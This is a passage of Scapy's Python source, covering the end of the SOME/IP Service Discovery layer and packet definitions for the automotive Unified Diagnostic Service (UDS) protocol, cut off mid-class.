length_of="entry_array", fmt="!I"), PacketListField("entry_array", None, cls=_sdentry_class, length_from=lambda pkt: pkt.len_entry_array), FieldLenField("len_option_array", None, length_of="option_array", fmt="!I"), PacketListField("option_array", None, cls=_sdoption_class, length_from=lambda pkt: pkt.len_option_array) ] def get_flag(self, name): name = name.upper() if name in self.FLAGSDEF: return ((self.flags & self.FLAGSDEF[name].mask) >> self.FLAGSDEF[name].offset) else: return None def set_flag(self, name, value): name = name.upper() if name in self.FLAGSDEF: self.flags = (self.flags & (ctypes.c_ubyte(~self.FLAGSDEF[name].mask).value)) \ | ((value & 0x01) << self.FLAGSDEF[name].offset) def set_entryArray(self, entry_list): if isinstance(entry_list, list): self.entry_array = entry_list else: self.entry_array = [entry_list] def set_optionArray(self, option_list): if isinstance(option_list, list): self.option_array = option_list else: self.option_array = [option_list] bind_top_down(SOMEIP, SD, srv_id=SD.SOMEIP_MSGID_SRVID, sub_id=SD.SOMEIP_MSGID_SUBID, client_id=SD.SOMEIP_CLIENT_ID, session_id=SD.SOMEIP_MINIMUM_SESSION_ID, event_id=SD.SOMEIP_MSGID_EVENTID, proto_ver=SD.SOMEIP_PROTO_VER, iface_ver=SD.SOMEIP_IFACE_VER, msg_type=SD.SOMEIP_MSG_TYPE, retcode=SD.SOMEIP_RETCODE) bind_bottom_up(SOMEIP, SD, srv_id=SD.SOMEIP_MSGID_SRVID, sub_id=SD.SOMEIP_MSGID_SUBID, event_id=SD.SOMEIP_MSGID_EVENTID, proto_ver=SD.SOMEIP_PROTO_VER, iface_ver=SD.SOMEIP_IFACE_VER, msg_type=SD.SOMEIP_MSG_TYPE, retcode=SD.SOMEIP_RETCODE) # FIXME: Service Discovery messages shall be transported over UDP # (TR_SOMEIP_00248) # FIXME: The port 30490 (UDP and TCP as well) shall be only used for SOME/IP-SD # and not used for applications communicating over SOME/IP # (TR_SOMEIP_00020) scapy-2.4.4/scapy/contrib/automotive/uds.py000066400000000000000000001337551372370053500210030ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = Unified Diagnostic Service (UDS) # scapy.contrib.status = loads import struct from itertools import product from scapy.fields import ByteEnumField, StrField, ConditionalField, \ BitEnumField, BitField, XByteField, FieldListField, \ XShortField, X3BytesField, XIntField, ByteField, \ ShortField, ObservableDict, XShortEnumField, XByteEnumField from scapy.packet import Packet, bind_layers, NoPayload from scapy.config import conf from scapy.error import log_loading from scapy.utils import PeriodicSenderThread from scapy.contrib.isotp import ISOTP """ UDS """ try: if conf.contribs['UDS']['treat-response-pending-as-answer']: pass except KeyError: log_loading.info("Specify \"conf.contribs['UDS'] = " "{'treat-response-pending-as-answer': True}\" to treat " "a negative response 'requestCorrectlyReceived-" "ResponsePending' as answer of a request. \n" "The default value is False.") conf.contribs['UDS'] = {'treat-response-pending-as-answer': False} class UDS(ISOTP): services = ObservableDict( {0x10: 'DiagnosticSessionControl', 0x11: 'ECUReset', 0x14: 'ClearDiagnosticInformation', 0x19: 'ReadDTCInformation', 0x22: 'ReadDataByIdentifier', 0x23: 'ReadMemoryByAddress', 0x24: 'ReadScalingDataByIdentifier', 0x27: 'SecurityAccess', 0x28: 'CommunicationControl', 0x2A: 'ReadDataPeriodicIdentifier', 0x2C: 'DynamicallyDefineDataIdentifier', 0x2E: 'WriteDataByIdentifier', 0x2F: 'InputOutputControlByIdentifier', 0x31: 'RoutineControl', 0x34: 'RequestDownload', 0x35: 'RequestUpload', 0x36: 'TransferData', 0x37: 'RequestTransferExit', 0x3D: 'WriteMemoryByAddress', 0x3E: 'TesterPresent', 0x50: 'DiagnosticSessionControlPositiveResponse', 0x51: 'ECUResetPositiveResponse', 0x54: 'ClearDiagnosticInformationPositiveResponse', 0x59: 'ReadDTCInformationPositiveResponse', 0x62: 'ReadDataByIdentifierPositiveResponse', 0x63: 'ReadMemoryByAddressPositiveResponse', 0x64: 'ReadScalingDataByIdentifierPositiveResponse', 0x67: 'SecurityAccessPositiveResponse', 0x68: 'CommunicationControlPositiveResponse', 0x6A: 'ReadDataPeriodicIdentifierPositiveResponse', 0x6C: 'DynamicallyDefineDataIdentifierPositiveResponse', 0x6E: 'WriteDataByIdentifierPositiveResponse', 0x6F: 'InputOutputControlByIdentifierPositiveResponse', 0x71: 'RoutineControlPositiveResponse', 0x74: 'RequestDownloadPositiveResponse', 0x75: 'RequestUploadPositiveResponse', 0x76: 'TransferDataPositiveResponse', 0x77: 'RequestTransferExitPositiveResponse', 0x7D: 'WriteMemoryByAddressPositiveResponse', 0x7E: 'TesterPresentPositiveResponse', 0x83: 'AccessTimingParameter', 0x84: 'SecuredDataTransmission', 0x85: 'ControlDTCSetting', 0x86: 'ResponseOnEvent', 0x87: 'LinkControl', 0xC3: 'AccessTimingParameterPositiveResponse', 0xC4: 'SecuredDataTransmissionPositiveResponse', 0xC5: 'ControlDTCSettingPositiveResponse', 0xC6: 'ResponseOnEventPositiveResponse', 0xC7: 'LinkControlPositiveResponse', 0x7f: 'NegativeResponse'}) name = 'UDS' fields_desc = [ XByteEnumField('service', 0, services) ] def answers(self, other): if other.__class__ != self.__class__: return False if self.service == 0x7f: return self.payload.answers(other) if self.service == (other.service + 0x40): if isinstance(self.payload, NoPayload) or \ isinstance(other.payload, NoPayload): return len(self) <= len(other) else: return self.payload.answers(other.payload) return False def hashret(self): if self.service == 0x7f: return struct.pack('B', self.requestServiceId) return struct.pack('B', self.service & ~0x40) # ########################DSC################################### class UDS_DSC(Packet): diagnosticSessionTypes = ObservableDict({ 0x00: 'ISOSAEReserved', 0x01: 'defaultSession', 0x02: 'programmingSession', 0x03: 'extendedDiagnosticSession', 0x04: 'safetySystemDiagnosticSession', 0x7F: 'ISOSAEReserved'}) name = 'DiagnosticSessionControl' fields_desc = [ ByteEnumField('diagnosticSessionType', 0, diagnosticSessionTypes) ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_DSC.diagnosticSessionType%") bind_layers(UDS, UDS_DSC, service=0x10) class UDS_DSCPR(Packet): name = 'DiagnosticSessionControlPositiveResponse' fields_desc = [ ByteEnumField('diagnosticSessionType', 0, UDS_DSC.diagnosticSessionTypes), StrField('sessionParameterRecord', B"") ] def answers(self, other): return other.__class__ == UDS_DSC and \ other.diagnosticSessionType == self.diagnosticSessionType @staticmethod def modifies_ecu_state(pkt, ecu): ecu.current_session = pkt.diagnosticSessionType @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_DSCPR.diagnosticSessionType%") bind_layers(UDS, UDS_DSCPR, service=0x50) # #########################ER################################### class UDS_ER(Packet): resetTypes = { 0x00: 'ISOSAEReserved', 0x01: 'hardReset', 0x02: 'keyOffOnReset', 0x03: 'softReset', 0x04: 'enableRapidPowerShutDown', 0x05: 'disableRapidPowerShutDown', 0x7F: 'ISOSAEReserved'} name = 'ECUReset' fields_desc = [ ByteEnumField('resetType', 0, resetTypes) ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_ER.resetType%") bind_layers(UDS, UDS_ER, service=0x11) class UDS_ERPR(Packet): name = 'ECUResetPositiveResponse' fields_desc = [ ByteEnumField('resetType', 0, UDS_ER.resetTypes), ConditionalField(ByteField('powerDownTime', 0), lambda pkt: pkt.resetType == 0x04) ] def answers(self, other): return other.__class__ == UDS_ER @staticmethod def modifies_ecu_state(_, ecu): ecu.reset() @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_ER.resetType%") bind_layers(UDS, UDS_ERPR, service=0x51) # #########################SA################################### class UDS_SA(Packet): name = 'SecurityAccess' fields_desc = [ ByteField('securityAccessType', 0), ConditionalField(StrField('securityAccessDataRecord', B""), lambda pkt: pkt.securityAccessType % 2 == 1), ConditionalField(StrField('securityKey', B""), lambda pkt: pkt.securityAccessType % 2 == 0) ] @staticmethod def get_log(pkt): if pkt.securityAccessType % 2 == 1: return pkt.sprintf("%UDS.service%"),\ (pkt.securityAccessType, None) else: return pkt.sprintf("%UDS.service%"),\ (pkt.securityAccessType, pkt.securityKey) bind_layers(UDS, UDS_SA, service=0x27) class UDS_SAPR(Packet): name = 'SecurityAccessPositiveResponse' fields_desc = [ ByteField('securityAccessType', 0), ConditionalField(StrField('securitySeed', B""), lambda pkt: pkt.securityAccessType % 2 == 1), ] def answers(self, other): return other.__class__ == UDS_SA \ and other.securityAccessType == self.securityAccessType @staticmethod def modifies_ecu_state(pkt, ecu): if pkt.securityAccessType % 2 == 0: ecu.current_security_level = pkt.securityAccessType @staticmethod def get_log(pkt): if pkt.securityAccessType % 2 == 0: return pkt.sprintf("%UDS.service%"),\ (pkt.securityAccessType, None) else: return pkt.sprintf("%UDS.service%"),\ (pkt.securityAccessType, pkt.securitySeed) bind_layers(UDS, UDS_SAPR, service=0x67) # #########################CC################################### class UDS_CC(Packet): controlTypes = { 0x00: 'enableRxAndTx', 0x01: 'enableRxAndDisableTx', 0x02: 'disableRxAndEnableTx', 0x03: 'disableRxAndTx' } name = 'CommunicationControl' fields_desc = [ ByteEnumField('controlType', 0, controlTypes), BitEnumField('communicationType0', 0, 2, {0: 'ISOSAEReserved', 1: 'normalCommunicationMessages', 2: 'networkManagmentCommunicationMessages', 3: 'networkManagmentCommunicationMessages and ' 'normalCommunicationMessages'}), BitField('communicationType1', 0, 2), BitEnumField('communicationType2', 0, 4, {0: 'Disable/Enable specified communication Type', 1: 'Disable/Enable specific subnet', 2: 'Disable/Enable specific subnet', 3: 'Disable/Enable specific subnet', 4: 'Disable/Enable specific subnet', 5: 'Disable/Enable specific subnet', 6: 'Disable/Enable specific subnet', 7: 'Disable/Enable specific subnet', 8: 'Disable/Enable specific subnet', 9: 'Disable/Enable specific subnet', 10: 'Disable/Enable specific subnet', 11: 'Disable/Enable specific subnet', 12: 'Disable/Enable specific subnet', 13: 'Disable/Enable specific subnet', 14: 'Disable/Enable specific subnet', 15: 'Disable/Enable network'}) ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_CC.controlType%") bind_layers(UDS, UDS_CC, service=0x28) class UDS_CCPR(Packet): name = 'CommunicationControlPositiveResponse' fields_desc = [ ByteEnumField('controlType', 0, UDS_CC.controlTypes) ] def answers(self, other): return other.__class__ == UDS_CC \ and other.controlType == self.controlType @staticmethod def modifies_ecu_state(pkt, ecu): ecu.communication_control = pkt.controlType @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_CCPR.controlType%") bind_layers(UDS, UDS_CCPR, service=0x68) # #########################TP################################### class UDS_TP(Packet): name = 'TesterPresent' fields_desc = [ ByteField('subFunction', 0) ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.subFunction bind_layers(UDS, UDS_TP, service=0x3E) class UDS_TPPR(Packet): name = 'TesterPresentPositiveResponse' fields_desc = [ ByteField('zeroSubFunction', 0) ] def answers(self, other): return other.__class__ == UDS_TP @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.zeroSubFunction bind_layers(UDS, UDS_TPPR, service=0x7E) # #########################ATP################################### class UDS_ATP(Packet): timingParameterAccessTypes = { 0: 'ISOSAEReserved', 1: 'readExtendedTimingParameterSet', 2: 'setTimingParametersToDefaultValues', 3: 'readCurrentlyActiveTimingParameters', 4: 'setTimingParametersToGivenValues' } name = 'AccessTimingParameter' fields_desc = [ ByteEnumField('timingParameterAccessType', 0, timingParameterAccessTypes), ConditionalField(StrField('timingParameterRequestRecord', B""), lambda pkt: pkt.timingParameterAccessType == 0x4) ] bind_layers(UDS, UDS_ATP, service=0x83) class UDS_ATPPR(Packet): name = 'AccessTimingParameterPositiveResponse' fields_desc = [ ByteEnumField('timingParameterAccessType', 0, UDS_ATP.timingParameterAccessTypes), ConditionalField(StrField('timingParameterResponseRecord', B""), lambda pkt: pkt.timingParameterAccessType == 0x3) ] def answers(self, other): return other.__class__ == UDS_ATP \ and other.timingParameterAccessType == \ self.timingParameterAccessType bind_layers(UDS, UDS_ATPPR, service=0xC3) # #########################SDT################################### class UDS_SDT(Packet): name = 'SecuredDataTransmission' fields_desc = [ StrField('securityDataRequestRecord', B"") ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.securityDataRequestRecord bind_layers(UDS, UDS_SDT, service=0x84) class UDS_SDTPR(Packet): name = 'SecuredDataTransmissionPositiveResponse' fields_desc = [ StrField('securityDataResponseRecord', B"") ] def answers(self, other): return other.__class__ == UDS_SDT @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.securityDataResponseRecord bind_layers(UDS, UDS_SDTPR, service=0xC4) # #########################CDTCS################################### class UDS_CDTCS(Packet): DTCSettingTypes = { 0: 'ISOSAEReserved', 1: 'on', 2: 'off' } name = 'ControlDTCSetting' fields_desc = [ ByteEnumField('DTCSettingType', 0, DTCSettingTypes), StrField('DTCSettingControlOptionRecord', B"") ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_CDTCS.DTCSettingType%") bind_layers(UDS, UDS_CDTCS, service=0x85) class UDS_CDTCSPR(Packet): name = 'ControlDTCSettingPositiveResponse' fields_desc = [ ByteEnumField('DTCSettingType', 0, UDS_CDTCS.DTCSettingTypes) ] def answers(self, other): return other.__class__ == UDS_CDTCS @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_CDTCSPR.DTCSettingType%") bind_layers(UDS, UDS_CDTCSPR, service=0xC5) # #########################ROE################################### # TODO: improve this protocol implementation class UDS_ROE(Packet): eventTypes = { 0: 'doNotStoreEvent', 1: 'storeEvent' } name = 'ResponseOnEvent' fields_desc = [ ByteEnumField('eventType', 0, eventTypes), ByteField('eventWindowTime', 0), StrField('eventTypeRecord', B"") ] bind_layers(UDS, UDS_ROE, service=0x86) class UDS_ROEPR(Packet): name = 'ResponseOnEventPositiveResponse' fields_desc = [ ByteEnumField('eventType', 0, UDS_ROE.eventTypes), ByteField('numberOfIdentifiedEvents', 0), ByteField('eventWindowTime', 0), StrField('eventTypeRecord', B"") ] def answers(self, other): return other.__class__ == UDS_ROE \ and other.eventType == self.eventType bind_layers(UDS, UDS_ROEPR, service=0xC6) # #########################LC################################### class UDS_LC(Packet): linkControlTypes = { 0: 'ISOSAEReserved', 1: 'verifyBaudrateTransitionWithFixedBaudrate', 2: 'verifyBaudrateTransitionWithSpecificBaudrate', 3: 'transitionBaudrate' } name = 'LinkControl' fields_desc = [ ByteEnumField('linkControlType', 0, linkControlTypes), ConditionalField(ByteField('baudrateIdentifier', 0), lambda pkt: pkt.linkControlType == 0x1), ConditionalField(ByteField('baudrateHighByte', 0), lambda pkt: pkt.linkControlType == 0x2), ConditionalField(ByteField('baudrateMiddleByte', 0), lambda pkt: pkt.linkControlType == 0x2), ConditionalField(ByteField('baudrateLowByte', 0), lambda pkt: pkt.linkControlType == 0x2) ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS.linkControlType%") bind_layers(UDS, UDS_LC, service=0x87) class UDS_LCPR(Packet): name = 'LinkControlPositiveResponse' fields_desc = [ ByteEnumField('linkControlType', 0, UDS_LC.linkControlTypes) ] def answers(self, other): return other.__class__ == UDS_LC \ and other.linkControlType == self.linkControlType @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS.linkControlType%") bind_layers(UDS, UDS_LCPR, service=0xC7) # #########################RDBI################################### class UDS_RDBI(Packet): dataIdentifiers = ObservableDict() name = 'ReadDataByIdentifier' fields_desc = [ FieldListField("identifiers", [0], XShortEnumField('dataIdentifier', 0, dataIdentifiers)) ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_RDBI.identifiers%") bind_layers(UDS, UDS_RDBI, service=0x22) class UDS_RDBIPR(Packet): name = 'ReadDataByIdentifierPositiveResponse' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers), ] def answers(self, other): return other.__class__ == UDS_RDBI \ and self.dataIdentifier in other.identifiers @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_RDBIPR.dataIdentifier%") bind_layers(UDS, UDS_RDBIPR, service=0x62) # #########################RMBA################################### class UDS_RMBA(Packet): name = 'ReadMemoryByAddress' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4), ] @staticmethod def get_log(pkt): addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) return pkt.sprintf("%UDS.service%"), (addr, size) bind_layers(UDS, UDS_RMBA, service=0x23) class UDS_RMBAPR(Packet): name = 'ReadMemoryByAddressPositiveResponse' fields_desc = [ StrField('dataRecord', None, fmt="B") ] def answers(self, other): return other.__class__ == UDS_RMBA @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.dataRecord bind_layers(UDS, UDS_RMBAPR, service=0x63) # #########################RSDBI################################### class UDS_RSDBI(Packet): name = 'ReadScalingDataByIdentifier' dataIdentifiers = ObservableDict() fields_desc = [ XShortEnumField('dataIdentifier', 0, dataIdentifiers) ] bind_layers(UDS, UDS_RSDBI, service=0x24) # TODO: Implement correct scaling here, instead of using just the dataRecord class UDS_RSDBIPR(Packet): name = 'ReadScalingDataByIdentifierPositiveResponse' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RSDBI.dataIdentifiers), ByteField('scalingByte', 0), StrField('dataRecord', None, fmt="B") ] def answers(self, other): return other.__class__ == UDS_RSDBI \ and other.dataIdentifier == self.dataIdentifier bind_layers(UDS, UDS_RSDBIPR, service=0x64) # #########################RDBPI################################### class UDS_RDBPI(Packet): transmissionModes = { 0: 'ISOSAEReserved', 1: 'sendAtSlowRate', 2: 'sendAtMediumRate', 3: 'sendAtFastRate', 4: 'stopSending' } name = 'ReadDataByPeriodicIdentifier' fields_desc = [ ByteEnumField('transmissionMode', 0, transmissionModes), ByteField('periodicDataIdentifier', 0), StrField('furtherPeriodicDataIdentifier', 0, fmt="B") ] bind_layers(UDS, UDS_RDBPI, service=0x2A) # TODO: Implement correct scaling here, instead of using just the dataRecord class UDS_RDBPIPR(Packet): name = 'ReadDataByPeriodicIdentifierPositiveResponse' fields_desc = [ ByteField('periodicDataIdentifier', 0), StrField('dataRecord', None, fmt="B") ] def answers(self, other): return other.__class__ == UDS_RDBPI \ and other.periodicDataIdentifier == self.periodicDataIdentifier bind_layers(UDS, UDS_RDBPIPR, service=0x6A) # #########################DDDI################################### # TODO: Implement correct interpretation here, # instead of using just the dataRecord class UDS_DDDI(Packet): name = 'DynamicallyDefineDataIdentifier' subFunctions = {0x1: "defineByIdentifier", 0x2: "defineByMemoryAddress", 0x3: "clearDynamicallyDefinedDataIdentifier"} fields_desc = [ ByteEnumField('subFunction', 0, subFunctions), StrField('dataRecord', 0, fmt="B") ] bind_layers(UDS, UDS_DDDI, service=0x2C) class UDS_DDDIPR(Packet): name = 'DynamicallyDefineDataIdentifierPositiveResponse' fields_desc = [ ByteEnumField('subFunction', 0, UDS_DDDI.subFunctions), XShortField('dynamicallyDefinedDataIdentifier', 0) ] def answers(self, other): return other.__class__ == UDS_DDDI \ and other.subFunction == self.subFunction bind_layers(UDS, UDS_DDDIPR, service=0x6C) # #########################WDBI################################### class UDS_WDBI(Packet): name = 'WriteDataByIdentifier' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers) ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_WDBI.dataIdentifier%") bind_layers(UDS, UDS_WDBI, service=0x2E) class UDS_WDBIPR(Packet): name = 'WriteDataByIdentifierPositiveResponse' fields_desc = [ XShortEnumField('dataIdentifier', 0, UDS_RDBI.dataIdentifiers), ] def answers(self, other): return other.__class__ == UDS_WDBI \ and other.dataIdentifier == self.dataIdentifier @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ pkt.sprintf("%UDS_WDBIPR.dataIdentifier%") bind_layers(UDS, UDS_WDBIPR, service=0x6E) # #########################WMBA################################### class UDS_WMBA(Packet): name = 'WriteMemoryByAddress' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4), StrField('dataRecord', b'\x00', fmt="B"), ] @staticmethod def get_log(pkt): addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) return pkt.sprintf("%UDS.service%"), (addr, size, pkt.dataRecord) bind_layers(UDS, UDS_WMBA, service=0x3D) class UDS_WMBAPR(Packet): name = 'WriteMemoryByAddressPositiveResponse' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4) ] def answers(self, other): return other.__class__ == UDS_WMBA \ and other.memorySizeLen == self.memorySizeLen \ and other.memoryAddressLen == self.memoryAddressLen @staticmethod def get_log(pkt): addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) return pkt.sprintf("%UDS.service%"), (addr, size) bind_layers(UDS, UDS_WMBAPR, service=0x7D) # #########################CDTCI################################### class UDS_CDTCI(Packet): name = 'ClearDiagnosticInformation' fields_desc = [ ByteField('groupOfDTCHighByte', 0), ByteField('groupOfDTCMiddleByte', 0), ByteField('groupOfDTCLowByte', 0), ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), (pkt.groupOfDTCHighByte, pkt.groupOfDTCMiddleByte, pkt.groupOfDTCLowByte) bind_layers(UDS, UDS_CDTCI, service=0x14) class UDS_CDTCIPR(Packet): name = 'ClearDiagnosticInformationPositiveResponse' def answers(self, other): return other.__class__ == UDS_CDTCI @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), None bind_layers(UDS, UDS_CDTCIPR, service=0x54) # #########################RDTCI################################### class UDS_RDTCI(Packet): reportTypes = { 0: 'ISOSAEReserved', 1: 'reportNumberOfDTCByStatusMask', 2: 'reportDTCByStatusMask', 3: 'reportDTCSnapshotIdentification', 4: 'reportDTCSnapshotRecordByDTCNumber', 5: 'reportDTCSnapshotRecordByRecordNumber', 6: 'reportDTCExtendedDataRecordByDTCNumber', 7: 'reportNumberOfDTCBySeverityMaskRecord', 8: 'reportDTCBySeverityMaskRecord', 9: 'reportSeverityInformationOfDTC', 10: 'reportSupportedDTC', 11: 'reportFirstTestFailedDTC', 12: 'reportFirstConfirmedDTC', 13: 'reportMostRecentTestFailedDTC', 14: 'reportMostRecentConfirmedDTC', 15: 'reportMirrorMemoryDTCByStatusMask', 16: 'reportMirrorMemoryDTCExtendedDataRecordByDTCNumber', 17: 'reportNumberOfMirrorMemoryDTCByStatusMask', 18: 'reportNumberOfEmissionsRelatedOBDDTCByStatusMask', 19: 'reportEmissionsRelatedOBDDTCByStatusMask', 20: 'reportDTCFaultDetectionCounter', 21: 'reportDTCWithPermanentStatus' } name = 'ReadDTCInformation' fields_desc = [ ByteEnumField('reportType', 0, reportTypes), ConditionalField(XByteField('DTCStatusMask', 0), lambda pkt: pkt.reportType in [0x01, 0x02, 0x0f, 0x11, 0x12, 0x13]), ConditionalField(ByteField('DTCHighByte', 0), lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, 0x10, 0x09]), ConditionalField(ByteField('DTCMiddleByte', 0), lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, 0x10, 0x09]), ConditionalField(ByteField('DTCLowByte', 0), lambda pkt: pkt.reportType in [0x3, 0x4, 0x6, 0x10, 0x09]), ConditionalField(ByteField('DTCSnapshotRecordNumber', 0), lambda pkt: pkt.reportType in [0x3, 0x4, 0x5]), ConditionalField(ByteField('DTCExtendedDataRecordNumber', 0), lambda pkt: pkt.reportType in [0x6, 0x10]), ConditionalField(ByteField('DTCSeverityMask', 0), lambda pkt: pkt.reportType in [0x07, 0x08]), ConditionalField(ByteField('DTCStatusMask', 0), lambda pkt: pkt.reportType in [0x07, 0x08]), ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), repr(pkt) bind_layers(UDS, UDS_RDTCI, service=0x19) class UDS_RDTCIPR(Packet): name = 'ReadDTCInformationPositiveResponse' fields_desc = [ ByteEnumField('reportType', 0, UDS_RDTCI.reportTypes), ConditionalField(XByteField('DTCStatusAvailabilityMask', 0), lambda pkt: pkt.reportType in [0x01, 0x07, 0x11, 0x12, 0x02, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x13, 0x15]), ConditionalField(ByteEnumField('DTCFormatIdentifier', 0, {0: 'ISO15031-6DTCFormat', 1: 'UDS-1DTCFormat', 2: 'SAEJ1939-73DTCFormat', 3: 'ISO11992-4DTCFormat'}), lambda pkt: pkt.reportType in [0x01, 0x07, 0x11, 0x12]), ConditionalField(ShortField('DTCCount', 0), lambda pkt: pkt.reportType in [0x01, 0x07, 0x11, 0x12]), ConditionalField(StrField('DTCAndStatusRecord', 0), lambda pkt: pkt.reportType in [0x02, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x13, 0x15]), ConditionalField(StrField('dataRecord', 0), lambda pkt: pkt.reportType in [0x03, 0x04, 0x05, 0x06, 0x08, 0x09, 0x10, 0x14]) ] def answers(self, other): return other.__class__ == UDS_RDTCI \ and other.reportType == self.reportType @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), repr(pkt) bind_layers(UDS, UDS_RDTCIPR, service=0x59) # #########################RC################################### class UDS_RC(Packet): routineControlTypes = { 0: 'ISOSAEReserved', 1: 'startRoutine', 2: 'stopRoutine', 3: 'requestRoutineResults' } routineControlIdentifiers = ObservableDict() name = 'RoutineControl' fields_desc = [ ByteEnumField('routineControlType', 0, routineControlTypes), XShortEnumField('routineIdentifier', 0, routineControlIdentifiers), StrField('routineControlOptionRecord', 0, fmt="B"), ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"),\ (pkt.routineControlType, pkt.routineIdentifier, pkt.routineControlOptionRecord) bind_layers(UDS, UDS_RC, service=0x31) class UDS_RCPR(Packet): name = 'RoutineControlPositiveResponse' fields_desc = [ ByteEnumField('routineControlType', 0, UDS_RC.routineControlTypes), XShortEnumField('routineIdentifier', 0, UDS_RC.routineControlIdentifiers), StrField('routineStatusRecord', 0, fmt="B"), ] def answers(self, other): return other.__class__ == UDS_RC \ and other.routineControlType == self.routineControlType @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"),\ (pkt.routineControlType, pkt.routineIdentifier, pkt.routineStatusRecord) bind_layers(UDS, UDS_RCPR, service=0x71) # #########################RD################################### class UDS_RD(Packet): dataFormatIdentifiers = ObservableDict({ 0: 'noCompressionNoEncryption' }) name = 'RequestDownload' fields_desc = [ ByteEnumField('dataFormatIdentifier', 0, dataFormatIdentifiers), BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda 